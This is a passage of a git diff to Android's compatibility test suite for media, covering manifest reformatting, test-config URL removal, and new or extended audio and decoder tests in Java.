+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.FaceDetectorStub"
-            android:label="FaceDetectorStub"/>
+             android:label="FaceDetectorStub"/>
         <activity android:name="android.media.cts.MediaPlayerSurfaceStubActivity"
-            android:label="MediaPlayerSurfaceStubActivity">
+             android:label="MediaPlayerSurfaceStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.ResourceManagerStubActivity"
-            android:label="ResourceManagerStubActivity">
+             android:label="ResourceManagerStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.ResourceManagerTestActivity1"
-            android:label="ResourceManagerTestActivity1"
-            android:process=":mediaCodecTestProcess1">
+             android:label="ResourceManagerTestActivity1"
+             android:process=":mediaCodecTestProcess1">
         </activity>
         <activity android:name="android.media.cts.ResourceManagerTestActivity2"
-            android:label="ResourceManagerTestActivity2"
-            android:process=":mediaCodecTestProcess2">
+             android:label="ResourceManagerTestActivity2"
+             android:process=":mediaCodecTestProcess2">
         </activity>
         <activity android:name="android.media.cts.RingtonePickerActivity"
-            android:label="RingtonePickerActivity">
+             android:label="RingtonePickerActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.media.cts.MockActivity" />
-        <activity android:name="android.media.cts.MediaRouter2TestActivity" />
+        <activity android:name="android.media.cts.MockActivity"/>
+        <activity android:name="android.media.cts.MediaRouter2TestActivity"/>
         <service android:name="android.media.cts.RemoteVirtualDisplayService"
-            android:process=":remoteService" >
+             android:process=":remoteService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </service>
-        <service android:name="android.media.cts.StubMediaBrowserService">
+        <service android:name="android.media.cts.StubMediaBrowserService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.browse.MediaBrowserService" />
+                <action android:name="android.media.browse.MediaBrowserService"/>
             </intent-filter>
         </service>
         <service android:name="android.media.cts.StubMediaSession2Service"
-            android:permission="android.media.cts">
+             android:permission="android.media.cts"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.MediaSession2Service" />
+                <action android:name="android.media.MediaSession2Service"/>
             </intent-filter>
         </service>
         <service android:name="android.media.cts.LocalMediaProjectionService"
-            android:foregroundServiceType="mediaProjection"
-            android:enabled="true">
+             android:foregroundServiceType="mediaProjection"
+             android:enabled="true">
         </service>
         <service android:name=".StubMediaRoute2ProviderService"
-            android:exported="true">
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.MediaRoute2ProviderService" />
+                <action android:name="android.media.MediaRoute2ProviderService"/>
             </intent-filter>
-       </service>
-       <receiver android:name="android.media.cts.MediaButtonReceiver" />
+        </service>
+        <service android:name="android.media.cts.MediaButtonReceiverService"
+             android:exported="true"/>
+        <service android:name=".MediaBrowserServiceTestService"
+             android:process=":mediaBrowserServiceTestService"/>
+        <service android:name=".MediaSessionTestService"
+             android:process=":mediaSessionTestService"/>
+        <receiver android:name="android.media.cts.MediaButtonBroadcastReceiver"/>
     </application>
 
-    <uses-sdk android:minSdkVersion="29"   android:targetSdkVersion="29" />
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.media.cts"
-                     android:label="CTS tests of android.media">
+         android:targetPackage="android.media.cts"
+         android:label="CTS tests of android.media">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/media/DynamicConfig.xml b/tests/tests/media/DynamicConfig.xml
index 4548620..942ab80 100644
--- a/tests/tests/media/DynamicConfig.xml
+++ b/tests/tests/media/DynamicConfig.xml
@@ -14,12 +14,6 @@
 -->
 
 <dynamicConfig>
-    <entry key="decoder_test_audio_url">
-        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=46A04ED550CA83B79B60060BA80C79FDA5853D26.49582D382B4A9AFAA163DED38D2AE531D85603C0&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
-    <entry key="decoder_test_video_url">
-        <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=18&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=46A04ED550CA83B79B60060BA80C79FDA5853D26.49582D382B4A9AFAA163DED38D2AE531D85603C0&amp;key=ik0&amp;user=android-device-test</value>
-    </entry>
     <entry key="media_codec_capabilities_test_avc_baseline12">
         <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=160&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=9EDCA0B395B8A949C511FD5E59B9F805CFF797FD.702DE9BA7AF96785FD6930AD2DD693A0486C880E&amp;key=ik0</value>
     </entry>
diff --git a/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl b/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl
new file mode 100644
index 0000000..5aacc30
--- /dev/null
+++ b/tests/tests/media/aidl/android/media/cts/IRemoteService.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.os.Bundle;
+
+interface IRemoteService {
+    boolean run(int testId, int step, in Bundle args);
+}
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index ead4412..0abe0c2 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -468,6 +468,9 @@
                             warn(mDecoder.getWarnings());
                             mDecoder.clearWarnings();
                             mDecoder.flush();
+                            // First run will trigger output format change exactly once,
+                            // and subsequent runs should not trigger format change.
+                            assertEquals(1, mDecoder.getOutputFormatChangeCount());
                         }
                     });
                 if (verify) {
@@ -597,7 +600,10 @@
                                     segmentSize,
                                     lastSequence /* sendEos */,
                                     lastSequence /* expectEos */,
-                                    mAdjustTimeUs);
+                                    mAdjustTimeUs,
+                                    // Try sleeping after first queue so that we can verify
+                                    // output format change event happens at the right time.
+                                    true /* sleepAfterFirstQueue */);
                             if (lastSequence && frames >= 0) {
                                 warn("did not receive EOS, received " + frames + " frames");
                             } else if (!lastSequence && frames < 0) {
@@ -677,7 +683,8 @@
                                 framesBeforeEos,
                                 true /* sendEos */,
                                 true /* expectEos */,
-                                adjustTimeUs);
+                                adjustTimeUs,
+                                false /* sleepAfterFirstQueue */);
                         if (framesB >= 0) {
                             warn("did not receive EOS, received " + (-framesB) + " frames");
                         }
@@ -751,7 +758,8 @@
                                 segmentSize,
                                 lastSequence /* sendEos */,
                                 lastSequence /* expectEos */,
-                                mAdjustTimeUs);
+                                mAdjustTimeUs,
+                                false /* sleepAfterFirstQueue */);
                             if (lastSequence && frames >= 0) {
                                 warn("did not receive EOS, received " + frames + " frames");
                             } else if (!lastSequence && frames < 0) {
@@ -881,6 +889,13 @@
         Vector<Long> mRenderedTimeStamps; // using Vector as it is implicitly synchronized
         long mLastRenderNanoTime;
         int mFramesNotifiedRendered;
+        // True iff previous dequeue request returned INFO_OUTPUT_FORMAT_CHANGED.
+        boolean mOutputFormatChanged;
+        // Number of output format change event
+        int mOutputFormatChangeCount;
+        // Save the timestamps of the first frame of each sequence.
+        // Note: this is the only time output format change could happen.
+        ArrayList<Long> mFirstQueueTimestamps;
 
         public Decoder(String codecName) {
             MediaCodec codec = null;
@@ -898,6 +913,9 @@
             mRenderedTimeStamps = new Vector<Long>();
             mLastRenderNanoTime = System.nanoTime();
             mFramesNotifiedRendered = 0;
+            mOutputFormatChanged = false;
+            mOutputFormatChangeCount = 0;
+            mFirstQueueTimestamps = new ArrayList<Long>();
 
             codec.setOnFrameRenderedListener(this, null);
         }
@@ -931,6 +949,10 @@
             mWarnings.clear();
         }
 
+        public int getOutputFormatChangeCount() {
+            return mOutputFormatChangeCount;
+        }
+
         public void configureAndStart(MediaFormat format, TestSurface surface) {
             mSurface = surface;
             Log.i(TAG, "configure(" + format + ", " + mSurface.getSurface() + ")");
@@ -987,6 +1009,8 @@
                 Log.d(TAG, "output format has changed to " + format);
                 int colorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
                 mDoChecksum = isRecognizedFormat(colorFormat);
+                mOutputFormatChanged = true;
+                ++mOutputFormatChangeCount;
                 return null;
             } else if (ix < 0) {
                 Log.v(TAG, "no output");
@@ -995,7 +1019,6 @@
             /* create checksum */
             long sum = 0;
 
-
             Log.v(TAG, "dequeue #" + ix + " => { [" + info.size + "] flags=" + info.flags +
                     " @" + info.presentationTimeUs + "}");
 
@@ -1030,6 +1053,16 @@
                 }
             }
 
+            if (mOutputFormatChanged) {
+                // Previous dequeue was output format change; format change must
+                // correspond to a new sequence, so it must happen right before
+                // the first frame of one of the sequences.
+                assertTrue("cannot find " + info.presentationTimeUs +
+                        " in " + mFirstQueueTimestamps,
+                        mFirstQueueTimestamps.remove(info.presentationTimeUs));
+                mOutputFormatChanged = false;
+            }
+
             return String.format(Locale.US, "{pts=%d, flags=%x, data=0x%x}",
                                  info.presentationTimeUs, info.flags, sum);
         }
@@ -1079,7 +1112,8 @@
         public int queueInputBufferRange(
                 Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
                 boolean waitForEos) {
-            return queueInputBufferRange(media,frameStartIx,frameEndIx,sendEosAtEnd,waitForEos,0);
+            return queueInputBufferRange(
+                    media, frameStartIx, frameEndIx, sendEosAtEnd, waitForEos, 0, false);
         }
 
         public void queueCSD(MediaFormat format) {
@@ -1109,7 +1143,7 @@
 
         public int queueInputBufferRange(
                 Media media, int frameStartIx, int frameEndIx, boolean sendEosAtEnd,
-                boolean waitForEos, long adjustTimeUs) {
+                boolean waitForEos, long adjustTimeUs, boolean sleepAfterFirstQueue) {
             MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
             int frameIx = frameStartIx;
             int numFramesDecoded = 0;
@@ -1125,6 +1159,19 @@
                             frameIx,
                             sendEosAtEnd && (frameIx + 1 == frameEndIx),
                             adjustTimeUs)) {
+                        if (frameIx == frameStartIx) {
+                            if (sleepAfterFirstQueue) {
+                                // MediaCodec detects and processes output format change upon
+                                // the first frame. It must not send the event prematurely with
+                                // pending buffers to be dequeued. Sleep after the first frame
+                                // with new resolution to make sure MediaCodec had enough time
+                                // to process the frame with pending buffers.
+                                try {
+                                    Thread.sleep(100);
+                                } catch (InterruptedException e) {}
+                            }
+                            mFirstQueueTimestamps.add(mTimeStamps.get(mTimeStamps.size() - 1));
+                        }
                         frameIx++;
                     }
                 }
diff --git a/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
new file mode 100644
index 0000000..81023fe
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/AudioCommunicationDeviceTest.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.List;
+import java.util.concurrent.Executors;
+
+
+public class AudioCommunicationDeviceTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioCommunicationDeviceTest";
+
+    private AudioManager mAudioManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = getInstrumentation().getContext().getSystemService(AudioManager.class);
+    }
+
+    public void testSetValidCommunicationDevice() {
+        if (!isValidPlatform("testSetValidCommunicationDevice")) return;
+
+        AudioDeviceInfo commDevice = null;
+        List<AudioDeviceInfo> devices = mAudioManager.getAvailableCommunicationDevices();
+        for (AudioDeviceInfo device : devices) {
+            try {
+                mAudioManager.setCommunicationDevice(device);
+                try {
+                    commDevice = mAudioManager.getCommunicationDevice();
+                } catch (Exception e) {
+                    fail("getCommunicationDevice failed with exception: " + e);
+                }
+                if (commDevice == null || commDevice.getType() != device.getType()) {
+                    fail("setCommunicationDevice failed, expected device: "
+                            + device.getType() + " but got: "
+                            + ((commDevice == null)
+                                ? AudioDeviceInfo.TYPE_UNKNOWN : commDevice.getType()));
+                }
+            } catch (Exception e) {
+                fail("setCommunicationDevice failed with exception: " + e);
+            }
+        }
+
+        try {
+            mAudioManager.clearCommunicationDevice();
+        } catch (Exception e) {
+            fail("clearCommunicationDevice failed with exception: " + e);
+        }
+        try {
+            commDevice = mAudioManager.getCommunicationDevice();
+        } catch (Exception e) {
+            fail("getCommunicationDevice failed with exception: " + e);
+        }
+        if (commDevice == null) {
+            fail("platform has no default communication device");
+        }
+    }
+
+    public void testSetInvalidCommunicationDevice() {
+        if (!isValidPlatform("testSetInvalidCommunicationDevice")) return;
+
+        AudioDeviceInfo[] alldevices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        List<AudioDeviceInfo> validDevices = mAudioManager.getAvailableCommunicationDevices();
+
+        for (AudioDeviceInfo device : alldevices) {
+            if (validDevices.contains(device)) {
+                continue;
+            }
+            try {
+                mAudioManager.setCommunicationDevice(device);
+                fail("setCommunicationDevice should fail for device: " + device.getType());
+            } catch (Exception e) {
+            }
+        }
+    }
+
+    static class MyOnCommunicationDeviceChangedListener implements
+            AudioManager.OnCommunicationDeviceChangedListener {
+
+        private final Object mCbLock = new Object();
+        @GuardedBy("mCbLock")
+        private boolean mCalled;
+        @GuardedBy("mCbLock")
+        private AudioDeviceInfo mDevice;
+
+        private static final int LISTENER_WAIT_TIMEOUT_MS = 3000;
+        void reset() {
+            synchronized (mCbLock) {
+                mCalled = false;
+                mDevice = null;
+            }
+        }
+
+        AudioDeviceInfo waitForDeviceUpdate() {
+            synchronized (mCbLock) {
+                while (!mCalled) {
+                    try {
+                        mCbLock.wait(LISTENER_WAIT_TIMEOUT_MS);
+                    } catch (InterruptedException e) {
+                    }
+                }
+                return mDevice;
+            }
+        }
+
+        AudioDeviceInfo getDevice() {
+            synchronized (mCbLock) {
+                return mDevice;
+            }
+        }
+
+        MyOnCommunicationDeviceChangedListener() {
+            reset();
+        }
+
+        @Override
+        public void onCommunicationDeviceChanged(AudioDeviceInfo device) {
+            synchronized (mCbLock) {
+                mCalled = true;
+                mDevice = device;
+                mCbLock.notifyAll();
+            }
+        }
+    }
+
+    public void testCommunicationDeviceListener() {
+        if (!isValidPlatform("testCommunicationDeviceListener")) return;
+
+        MyOnCommunicationDeviceChangedListener listener =
+                new MyOnCommunicationDeviceChangedListener();
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(null, listener);
+            fail("addOnCommunicationDeviceChangedListener should fail with null executor");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                    Executors.newSingleThreadExecutor(), null);
+            fail("addOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(null);
+            fail("removeOnCommunicationDeviceChangedListener should fail with null listener");
+        } catch (Exception e) {
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+        } catch (Exception e) {
+            fail("addOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+
+        try {
+            mAudioManager.addOnCommunicationDeviceChangedListener(
+                Executors.newSingleThreadExecutor(), listener);
+            fail("addOnCommunicationDeviceChangedListener succeeded for same listener");
+        } catch (Exception e) {
+        }
+
+        AudioDeviceInfo originalDevice = mAudioManager.getCommunicationDevice();
+        assertNotNull("Platform as no default communication device", originalDevice);
+
+        AudioDeviceInfo requestedDevice = null;
+        List<AudioDeviceInfo> devices = mAudioManager.getAvailableCommunicationDevices();
+
+        for (AudioDeviceInfo device : devices) {
+            if (device.getType() != originalDevice.getType()) {
+                requestedDevice = device;
+                break;
+            }
+        }
+        if (requestedDevice == null) {
+            Log.i(TAG,"Skipping end of testCommunicationDeviceListener test,"
+                    +" no valid decice to test");
+            return;
+        }
+        mAudioManager.setCommunicationDevice(requestedDevice);
+        AudioDeviceInfo listenerDevice = listener.waitForDeviceUpdate();
+        if (listenerDevice == null || listenerDevice.getType() != requestedDevice.getType()) {
+            fail("listener and setter device mismatch, expected device: "
+                    + requestedDevice.getType() + " but got: "
+                    + ((listenerDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : listenerDevice.getType()));
+        }
+        AudioDeviceInfo getterDevice = mAudioManager.getCommunicationDevice();
+        if (getterDevice == null || getterDevice.getType() != listenerDevice.getType()) {
+            fail("listener and getter device mismatch, expected device: "
+                    + listenerDevice.getType() + " but got: "
+                    + ((getterDevice == null)
+                        ? AudioDeviceInfo.TYPE_UNKNOWN : getterDevice.getType()));
+        }
+
+        listener.reset();
+
+        mAudioManager.setCommunicationDevice(originalDevice);
+
+        listenerDevice = listener.waitForDeviceUpdate();
+        assertNotNull("Platform as no default communication device", listenerDevice);
+
+        if (listenerDevice.getType() != originalDevice.getType()) {
+            fail("communication device listener failed on clear, expected device: "
+                    + originalDevice.getType() + " but got: " + listenerDevice.getType());
+        }
+
+        try {
+            mAudioManager.removeOnCommunicationDeviceChangedListener(listener);
+        } catch (Exception e) {
+            fail("removeOnCommunicationDeviceChangedListener failed with exception: "
+                    + e);
+        }
+    }
+
+    private boolean isValidPlatform(String testName) {
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
+                ||  pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)
+                || !pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.i(TAG,"Skipping test " + testName
+                    + " : device has no audio output or is a TV or does not support telephony");
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioDeviceInfoTest.java b/tests/tests/media/src/android/media/cts/AudioDeviceInfoTest.java
new file mode 100644
index 0000000..a2a90dc
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/AudioDeviceInfoTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.*;
+
+import android.media.AudioDeviceInfo;
+import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@NonMediaMainlineTest
+@RunWith(AndroidJUnit4.class)
+public class AudioDeviceInfoTest {
+    private static final Set<Integer> INPUT_TYPES = Stream.of(
+        AudioDeviceInfo.TYPE_BUILTIN_MIC,
+        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
+        AudioDeviceInfo.TYPE_BLUETOOTH_A2DP,
+        AudioDeviceInfo.TYPE_WIRED_HEADSET,
+        AudioDeviceInfo.TYPE_HDMI,
+        AudioDeviceInfo.TYPE_TELEPHONY,
+        AudioDeviceInfo.TYPE_DOCK,
+        AudioDeviceInfo.TYPE_USB_ACCESSORY,
+        AudioDeviceInfo.TYPE_USB_DEVICE,
+        AudioDeviceInfo.TYPE_USB_HEADSET,
+        AudioDeviceInfo.TYPE_FM_TUNER,
+        AudioDeviceInfo.TYPE_TV_TUNER,
+        AudioDeviceInfo.TYPE_LINE_ANALOG,
+        AudioDeviceInfo.TYPE_LINE_DIGITAL,
+        AudioDeviceInfo.TYPE_IP,
+        AudioDeviceInfo.TYPE_BUS,
+        AudioDeviceInfo.TYPE_REMOTE_SUBMIX,
+        AudioDeviceInfo.TYPE_BLE_HEADSET,
+        AudioDeviceInfo.TYPE_HDMI_ARC,
+        AudioDeviceInfo.TYPE_HDMI_EARC,
+        AudioDeviceInfo.TYPE_ECHO_REFERENCE)
+            .collect(Collectors.toCollection(HashSet::new));
+
+    private static final Set<Integer> OUTPUT_TYPES = Stream.of(
+        AudioDeviceInfo.TYPE_BUILTIN_EARPIECE,
+        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER,
+        AudioDeviceInfo.TYPE_WIRED_HEADSET,
+        AudioDeviceInfo.TYPE_WIRED_HEADPHONES,
+        AudioDeviceInfo.TYPE_BLUETOOTH_SCO,
+        AudioDeviceInfo.TYPE_BLUETOOTH_A2DP,
+        AudioDeviceInfo.TYPE_HDMI,
+        AudioDeviceInfo.TYPE_DOCK,
+        AudioDeviceInfo.TYPE_USB_ACCESSORY,
+        AudioDeviceInfo.TYPE_USB_DEVICE,
+        AudioDeviceInfo.TYPE_USB_HEADSET,
+        AudioDeviceInfo.TYPE_TELEPHONY,
+        AudioDeviceInfo.TYPE_LINE_ANALOG,
+        AudioDeviceInfo.TYPE_HDMI_ARC,
+        AudioDeviceInfo.TYPE_HDMI_EARC,
+        AudioDeviceInfo.TYPE_LINE_DIGITAL,
+        AudioDeviceInfo.TYPE_FM,
+        AudioDeviceInfo.TYPE_AUX_LINE,
+        AudioDeviceInfo.TYPE_IP,
+        AudioDeviceInfo.TYPE_BUS,
+        AudioDeviceInfo.TYPE_HEARING_AID,
+        AudioDeviceInfo.TYPE_BUILTIN_SPEAKER_SAFE,
+        AudioDeviceInfo.TYPE_BLE_HEADSET,
+        AudioDeviceInfo.TYPE_BLE_SPEAKER)
+            .collect(Collectors.toCollection(HashSet::new));
+
+    private static int MAX_TYPE;
+    private static int MIN_TYPE;
+    {
+        int maxType = Integer.MIN_VALUE;
+        int minType = Integer.MAX_VALUE;
+        for (int type : INPUT_TYPES) {
+            minType = Integer.min(minType, type);
+            maxType = Integer.max(maxType, type);
+        }
+        for (int type : OUTPUT_TYPES) {
+            minType = Integer.min(minType, type);
+            maxType = Integer.max(maxType, type);
+        }
+        MIN_TYPE = minType;
+        MAX_TYPE = maxType;
+    }
+
+    /**
+     * Ensure no regression on accepted input device types.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testDeviceTypeIn() throws Exception {
+        for (int type : INPUT_TYPES) {
+            // throws IllegalArgumentException on failure
+            AudioDeviceInfo.enforceValidAudioDeviceTypeIn(type);
+        }
+    }
+
+    /**
+     * Ensure no regression on accepted output device types.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testDeviceTypeOut() throws Exception {
+        for (int type : OUTPUT_TYPES) {
+            // throws IllegalArgumentException on failure
+            AudioDeviceInfo.enforceValidAudioDeviceTypeOut(type);
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioFocusTest.java b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
index 58083d0..f326754 100644
--- a/tests/tests/media/src/android/media/cts/AudioFocusTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
@@ -16,23 +16,32 @@
 
 package android.media.cts;
 
+import android.Manifest;
+import android.annotation.Nullable;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.AudioAttributes;
 import android.media.AudioFocusRequest;
 import android.media.AudioManager;
 import android.media.AudioManager.OnAudioFocusChangeListener;
+import android.media.MediaPlayer;
+import android.net.Uri;
+import android.os.Build;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+import java.io.File;
+
 @NonMediaMainlineTest
 public class AudioFocusTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioFocusTest";
 
     private static final int TEST_TIMING_TOLERANCE_MS = 100;
+    private static final long MEDIAPLAYER_PREPARE_TIMEOUT_MS = 2000;
 
     private static final AudioAttributes ATTR_DRIVE_DIR = new AudioAttributes.Builder()
             .setUsage(AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE)
@@ -218,6 +227,83 @@
         return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 
+    @AppModeFull(reason = "Instant apps cannot access the SD card")
+    public void testAudioFocusRequestMediaGainLossWithPlayer() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithPlayer "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
+
+        // for query of fade out duration and focus request/abandon test methods
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.QUERY_AUDIO_STATE);
+
+        final int NB_FOCUS_OWNERS = 2;
+        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
+        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
+        final int FOCUS_UNDER_TEST = 0;// index of focus owner to be tested
+        final int FOCUS_SIMULATED = 1; // index of focus requester used to simulate a request coming
+                                       //   from another client on a different UID than CTS
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler handler = new Handler(handlerThread.getLooper());
+
+        final AudioAttributes mediaAttributes = new AudioAttributes.Builder()
+                .setUsage(AudioAttributes.USAGE_MEDIA)
+                .build();
+        for (int focusIndex : new int[]{ FOCUS_UNDER_TEST, FOCUS_SIMULATED }) {
+            focusListeners[focusIndex] = new FocusChangeListener();
+            focusRequests[focusIndex] = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
+                    .setAudioAttributes(mediaAttributes)
+                    .setOnAudioFocusChangeListener(focusListeners[focusIndex], handler)
+                    .build();
+        }
+        final AudioManager am = new AudioManager(getContext());
+
+        MediaPlayer mp = null;
+        final String simFocusClientId = "fakeClientId";
+        try {
+            // set up the test conditions: a focus owner is playing media on a MediaPlayer
+            mp = createPreparedMediaPlayer(
+                    Uri.fromFile(new File(WorkDir.getMediaDirString() + "sine1khzs40dblong.mp3")),
+                    mediaAttributes);
+            int res = am.requestAudioFocus(focusRequests[FOCUS_UNDER_TEST]);
+            assertEquals("real focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+            mp.start();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            final long fadeDuration = am.getFadeOutDurationOnFocusLossMillis(mediaAttributes);
+            Log.i(TAG, "using fade out duration = " + fadeDuration);
+
+            res = am.requestAudioFocusForTest(focusRequests[FOCUS_SIMULATED],
+                    simFocusClientId, Integer.MAX_VALUE /*fakeClientUid*/, Build.VERSION_CODES.S);
+            assertEquals("test focus request failed",
+                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
+
+            if (fadeDuration > 0) {
+                assertEquals("Focus loss dispatched too early", AudioManager.AUDIOFOCUS_NONE,
+                        focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
+                // TODO refactor FocusListener to use Monitor instead of sleeping here
+                Thread.sleep(fadeDuration);
+            }
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("Focus loss not dispatched", AudioManager.AUDIOFOCUS_LOSS,
+                    focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
+
+        }
+        finally {
+            handler.getLooper().quit();
+            handlerThread.quitSafely();
+            if (mp != null) {
+                mp.release();
+            }
